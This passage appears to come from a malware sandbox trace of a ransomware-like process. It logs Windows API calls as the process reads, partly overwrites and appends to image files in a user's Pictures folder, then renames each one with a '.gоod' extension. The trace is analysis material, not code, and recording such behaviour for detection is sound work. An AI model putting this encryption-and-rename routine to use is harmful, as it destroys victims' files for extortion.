lpFilePart=0x0) returned 0x2c [0181.426] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp.gоod", lpFilePart=0x0) returned 0x31 [0181.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0181.426] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6432a130, ftCreationTime.dwHighDateTime=0x1d4cb32, ftLastAccessTime.dwLowDateTime=0x88ab35b0, ftLastAccessTime.dwHighDateTime=0x1d4d18e, ftLastWriteTime.dwLowDateTime=0x685a214b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x67f2)) returned 1 [0182.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0182.318] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\z7pkCieK zTPKYo.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\z7pkciek ztpkyo.bmp.gоod")) returned 1 [0182.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", lpFilePart=0x0) returned 0x27 [0182.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0182.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x37237e8 | out: lpFileInformation=0x37237e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb822d0, ftCreationTime.dwHighDateTime=0x1d4d2fd, ftLastAccessTime.dwLowDateTime=0xf43cf0, ftLastAccessTime.dwHighDateTime=0x1d4c704, ftLastWriteTime.dwLowDateTime=0xf43cf0, ftLastWriteTime.dwHighDateTime=0x1d4c704, nFileSizeHigh=0x0, nFileSizeLow=0x3ac4)) returned 1 [0182.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0182.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", lpFilePart=0x0) returned 0x27 [0182.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0182.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0182.467] GetFileType (hFile=0x818) returned 0x1 [0182.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0182.467] GetFileType (hFile=0x818) returned 0x1 [0182.467] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0182.467] ReadFile (in: hFile=0x818, lpBuffer=0x3795840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3795840*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0182.467] CloseHandle (hObject=0x818) returned 1 [0182.467] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", lpFilePart=0x0) returned 0x27 [0182.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0182.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0182.467] GetFileType (hFile=0x818) returned 0x1 [0182.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0182.468] GetFileType (hFile=0x818) returned 0x1 [0182.468] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x3ac4 [0182.468] WriteFile (in: hFile=0x818, lpBuffer=0x3796a98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3796a98*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0182.468] CloseHandle (hObject=0x818) returned 1 [0182.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", lpFilePart=0x0) returned 0x27 [0182.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0182.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0182.468] GetFileType (hFile=0x818) returned 0x1 [0182.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0182.468] GetFileType (hFile=0x818) returned 0x1 [0182.468] ReadFile (in: hFile=0x818, lpBuffer=0x3798d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3798d18*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0183.441] CloseHandle (hObject=0x818) returned 1 [0183.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", lpFilePart=0x0) returned 0x27 [0183.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0183.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0183.442] GetFileType (hFile=0x818) returned 0x1 [0183.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0183.442] GetFileType (hFile=0x818) returned 0x1 [0183.442] WriteFile (in: hFile=0x818, lpBuffer=0x3533ac0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3533ac0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0183.442] CloseHandle (hObject=0x818) returned 1 [0183.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp", lpFilePart=0x0) returned 0x27 [0183.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp.gоod", lpFilePart=0x0) returned 0x2c [0183.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0183.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb822d0, ftCreationTime.dwHighDateTime=0x1d4d2fd, ftLastAccessTime.dwLowDateTime=0xf43cf0, ftLastAccessTime.dwHighDateTime=0x1d4c704, ftLastWriteTime.dwLowDateTime=0x698db25f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3ad4)) returned 1 [0183.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0183.442] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ZIAqz9g2fz.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\ziaqz9g2fz.bmp.gоod")) returned 1 [0183.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", lpFilePart=0x0) returned 0x29 [0183.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0183.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), fInfoLevelId=0x0, lpFileInformation=0x36698c8 | out: lpFileInformation=0x36698c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4579a0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0x4cd132e0, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x4cd132e0, ftLastWriteTime.dwHighDateTime=0x1d4cee8, nFileSizeHigh=0x0, nFileSizeLow=0x1544c)) returned 1 [0183.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0183.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", lpFilePart=0x0) returned 0x29 [0183.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0183.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0183.444] GetFileType (hFile=0x818) returned 0x1 [0183.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0183.444] GetFileType (hFile=0x818) returned 0x1 [0183.444] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0183.444] ReadFile (in: hFile=0x818, lpBuffer=0x3669c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3669c80*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0183.444] CloseHandle (hObject=0x818) returned 1 [0183.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", lpFilePart=0x0) returned 0x29 [0183.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0183.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0183.444] GetFileType (hFile=0x818) returned 0x1 [0183.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0183.445] GetFileType (hFile=0x818) returned 0x1 [0183.445] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1544c [0183.445] WriteFile (in: hFile=0x818, lpBuffer=0x366aee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x366aee8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0183.445] CloseHandle (hObject=0x818) returned 1 [0183.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", lpFilePart=0x0) returned 0x29 [0183.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0183.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0183.445] GetFileType (hFile=0x818) returned 0x1 [0183.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0183.445] GetFileType (hFile=0x818) returned 0x1 [0183.445] ReadFile (in: hFile=0x818, lpBuffer=0x366d178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x366d178*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0184.374] CloseHandle (hObject=0x818) returned 1 [0184.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", lpFilePart=0x0) returned 0x29 [0184.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0184.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0184.375] GetFileType (hFile=0x818) returned 0x1 [0184.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0184.812] GetFileType (hFile=0x818) returned 0x1 [0184.812] WriteFile (in: hFile=0x818, lpBuffer=0x3591700*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3591700*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0184.813] CloseHandle (hObject=0x818) returned 1 [0184.813] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif", lpFilePart=0x0) returned 0x29 [0184.813] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif.gоod", lpFilePart=0x0) returned 0x2e [0184.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0184.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4579a0, ftCreationTime.dwHighDateTime=0x1d4d396, ftLastAccessTime.dwLowDateTime=0x4cd132e0, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x6a5fe02b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1545c)) returned 1 [0184.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0184.813] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ZkaNc1VKJiUX.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\zkanc1vkjiux.gif.gоod")) returned 1 [0184.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", lpFilePart=0x0) returned 0x2f [0184.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0184.814] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), fInfoLevelId=0x0, lpFileInformation=0x3663760 | out: lpFileInformation=0x3663760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bce5c10, ftCreationTime.dwHighDateTime=0x1d4c822, ftLastAccessTime.dwLowDateTime=0x6d4f25c0, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x6d4f25c0, ftLastWriteTime.dwHighDateTime=0x1d4c841, nFileSizeHigh=0x0, nFileSizeLow=0x140d8)) returned 1 [0184.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0184.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", lpFilePart=0x0) returned 0x2f [0184.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0184.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0184.815] GetFileType (hFile=0x818) returned 0x1 [0184.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0184.815] GetFileType (hFile=0x818) returned 0x1 [0184.815] SetFilePointer (in: hFile=0x818, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0184.815] ReadFile (in: hFile=0x818, lpBuffer=0x3663b38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3663b38*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0184.816] CloseHandle (hObject=0x818) returned 1 [0184.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", lpFilePart=0x0) returned 0x2f [0184.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0184.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0184.816] GetFileType (hFile=0x818) returned 0x1 [0184.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0184.816] GetFileType (hFile=0x818) returned 0x1 [0184.816] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x140d8 [0184.816] WriteFile (in: hFile=0x818, lpBuffer=0x3664db0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x3664db0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0184.816] CloseHandle (hObject=0x818) returned 1 [0184.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", lpFilePart=0x0) returned 0x2f [0184.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0184.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0184.817] GetFileType (hFile=0x818) returned 0x1 [0184.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0184.817] GetFileType (hFile=0x818) returned 0x1 [0184.817] ReadFile (in: hFile=0x818, lpBuffer=0x3667050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3667050*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0186.787] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0187.310] CloseHandle (hObject=0x818) returned 1 [0187.310] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", lpFilePart=0x0) returned 0x2f [0187.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0187.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x818 [0187.310] GetFileType (hFile=0x818) returned 0x1 [0187.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0187.310] GetFileType (hFile=0x818) returned 0x1 [0187.310] WriteFile (in: hFile=0x818, lpBuffer=0x3612a30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3612a30*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0187.310] CloseHandle (hObject=0x818) returned 1 [0187.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif", lpFilePart=0x0) returned 0x2f [0187.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif.gоod", lpFilePart=0x0) returned 0x34 [0187.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0187.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bce5c10, ftCreationTime.dwHighDateTime=0x1d4c822, ftLastAccessTime.dwLowDateTime=0x6d4f25c0, ftLastAccessTime.dwHighDateTime=0x1d4c841, ftLastWriteTime.dwLowDateTime=0x6bdaf99a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140e8)) returned 1 [0187.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0187.311] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ZyLSVlnM3W8p5P6Agc.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\zylsvlnm3w8p5p6agc.gif.gоod")) returned 1 [0187.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0187.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Camera Roll", 